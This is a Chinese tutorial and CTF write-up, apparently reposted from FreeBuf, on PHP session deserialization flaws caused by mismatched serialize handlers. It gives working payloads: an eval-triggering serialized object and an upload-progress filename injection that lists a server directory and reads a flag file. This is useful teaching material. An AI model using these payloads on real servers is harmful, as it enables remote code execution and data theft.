渗透测试 - 黑客技术 | PHP session反序列化漏洞原理解析

PHPsession反序列化漏洞，是当序列化存储Session数据与反序列化读取Session数据的方式不同时产生的。

总结学习，能力有限，如有错误请大佬指出。

什么是session

官方Session定义：在计算机中，尤其是在网络应用中，称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。主要有以下特点：

session保存的位置是在服务器端

session通常是要配合cookie使用

因为HTTP的无状态性，服务端产生了session来标识当前的用户状态

本质上，session就是一种可以维持服务器端的数据存储技术。即**session技术就是一种基于后端有别于数据库的临时存储数据的技术**

PHP session工作流程

以PHP为例，理解session的原理

PHP脚本使用 session_start()时开启session会话，会自动检测PHPSESSID
- 如果Cookie中存在，获取PHPSESSID
- 如果Cookie中不存在，创建一个PHPSESSID，并通过响应头以Cookie形式保存到浏览器
初始化超全局变量$_SESSION为一个空数组
PHP通过PHPSESSID去指定位置（PHPSESSID文件存储位置）匹配对应的文件
- 存在该文件：读取文件内容（通过反序列化方式），将数据存储到$_SESSION中
- 不存在该文件： session_start()创建一个PHPSESSID命名文件
程序执行结束，将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

具体原理图：

php.ini session配置

php.ini里面有较重要的session配置项

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数，如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话，默认值为 0，不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字，默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪，并填充$ _SESSION变量，默认启用
session.upload_progress.cleanup= oN --读取所有POST数据（即完成上传）后立即清理进度信息，默认启用

PHP session序列化机制

根据php.ini中的配置项，我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中，使用的三种不同的处理格式，即session.serialize_handler定义的三种引擎：

处理器	对应的存储格式
php	键名＋竖线＋经过 serialize() 函数反序列处理的值
php_binary	键名的长度对应的 ASCII 字符＋键名＋经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4)	经过 serialize() 函数反序列处理的数组

php处理器

首先来看看默认session.serialize_handler = php时候的序列化结果，代码如下

<?php
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

为了方便查看，将session存储目录设置为session.save_path = "/www/php_session"，PHPSESSID文件如下

1、文件名

文件名为sess_mpnnbont606f50eb178na451od，其中mpnnbont606f50eb178na451od就是后续请求头中Cookie携带的PHPSESSID的值 (如上图浏览器中已存储)

2、文件内容

php处理器存储格式

键名	竖线	经过 serialize() 函数反序列处理的值
$_SESSION['name']的键名：name	\|	s:6:"harden";

php_binary处理器

使用php_binary处理器，即session.serialize_handler = php_binary

<?php
ini_set('session.serialize_handler','php_binary');
session_start();
# 为了方便ACSII显示，将键名设置为36个字符长度
$_SESSION['namenamenamenamenamenamenamenamename'] = $_GET['name'];
echo $_SESSION['namenamenamenamenamenamenamenamename'];
?>

由于三种方式PHPSESSID文件名都是一样的，这里只需要查看文件内容

键名的长度对应的 ASCII 字符	键名	经过 serialize() 函数反序列处理的值.
$	namenamenamenamenamenamenamenamename	s:6:"harden";

php_serialize 处理器

使用php_binary处理器，即session.serialize_handler = php_serialize

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

文件内容即经过 serialize() 函数反序列处理的数组，a:1:{s:4:"name";s:6:"harden";}

session的反序列化漏洞利用

session的反序列化漏洞，就是利用php处理器和php_serialize处理器的存储格式差异而产生，通过具体的代码我们来看下漏洞出现的原因

漏洞成因

首先创建session.php，使用php_serialize处理器来存储session数据

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>

test.php，使用默认php处理器来存储session数据

<?php
session_start();
class f4ke{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      eval($this->name);
    }
}
$str = new f4ke();
?>

接着，我们构建URL进行访问session.php：

http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

漏洞分析：

在session.php程序执行，我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件；

由于浏览器中保存的PHPSESSID文件名不变，当我们访问test.php，session_start();找到PHPSESSID文件并使用php处理器反序列化文件内容，识别格式即

键名竖线经过 serialize() 函数反序列处理的值

a:1:{s:7:"session";s:45:" | O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

php处理器会以|作为分隔符，将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化，就会触发__wakeup()方法，最后对象销毁执行__destruct()方法中的eval()函数，相当于执行如下：
$_SESSION['session'] = new f4ke();
$_SESSION['session']->name = 'phpinfo();'; 

键名	竖线	经过 serialize() 函数反序列处理的值
a:1:{s:7:"session";s:45:"	\|	O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

我们访问test.php，即可直接执行phpinfo()函数

CTF例题：PHPINFO

题目地址：http://web.jarvisoj.com:32784/index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

我们可以看到ini_set('session.serialize_handler', 'php')，判断可能存在session反序列化漏洞，根据代码逻辑，访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数，进一步查看session.serialize_handler配置

可见php.ini中session.serialize_handler = php_serialize，当前目录中被设置为session.serialize_handler = php，因此存在session反序列化利用的条件

补充知识

phpinfo文件中

local value(局部变量：作用于当前目录程序，会覆盖master value内容):php
master value(主变量：php.ini里面的内容):php_serialize

那么我们如何找到代码入口将利用代码写入到session文件？想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

补充知识

Session 上传进度(此特性自 PHP 5.4.0 后可用)

当 session.upload_progress.enabledINI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态

当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。

翻译成人话就是，当检测Session 上传进度这一特性是开启状态，我们可以在客户端写一个文件上传的功能，文件上传的同时，POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS，如下图，即可写入$_SESSION，进一步序列化写入session文件

下面是官方给出的一个文件上传时监测进度例子:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度，如下所示:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

其中，session中的field_name和name都是我们可控的输入点！

下面我们就开始解题拿到flag

首先，http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

session.upload_progress.enabled = On   --表明允许上传进度跟踪，并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据（即完成上传）后，不清理进度信息($ _SESSION变量)

即允许上传进度跟踪且结束后不清除数据，更有利使用session.upload_progress.name来将利用代码写入session文件

构造POST表单提交上传文件

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

构造序列化字符串作为payload（利用代码）

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>
//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为了防止"被转义，我们在payload中加入\

随意选择文件，点击表单提交，使用抓包工具burpsuite抓取请求包

并修改filename值为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

发送请求包，代码执行过程分析：

因此直接执行print_r(scandir(dirname(__FILE__)));并返回

phpinfo查看当前目录，/opt/lampp/htdocs/

构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容，即flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

参考

https://xz.aliyun.com/t/6753

https://www.mi1k7ea.com/2019/04/21/PHP-session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

本文作者：harden13，转自FreeBuf

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PHP session反序列化漏洞原理解析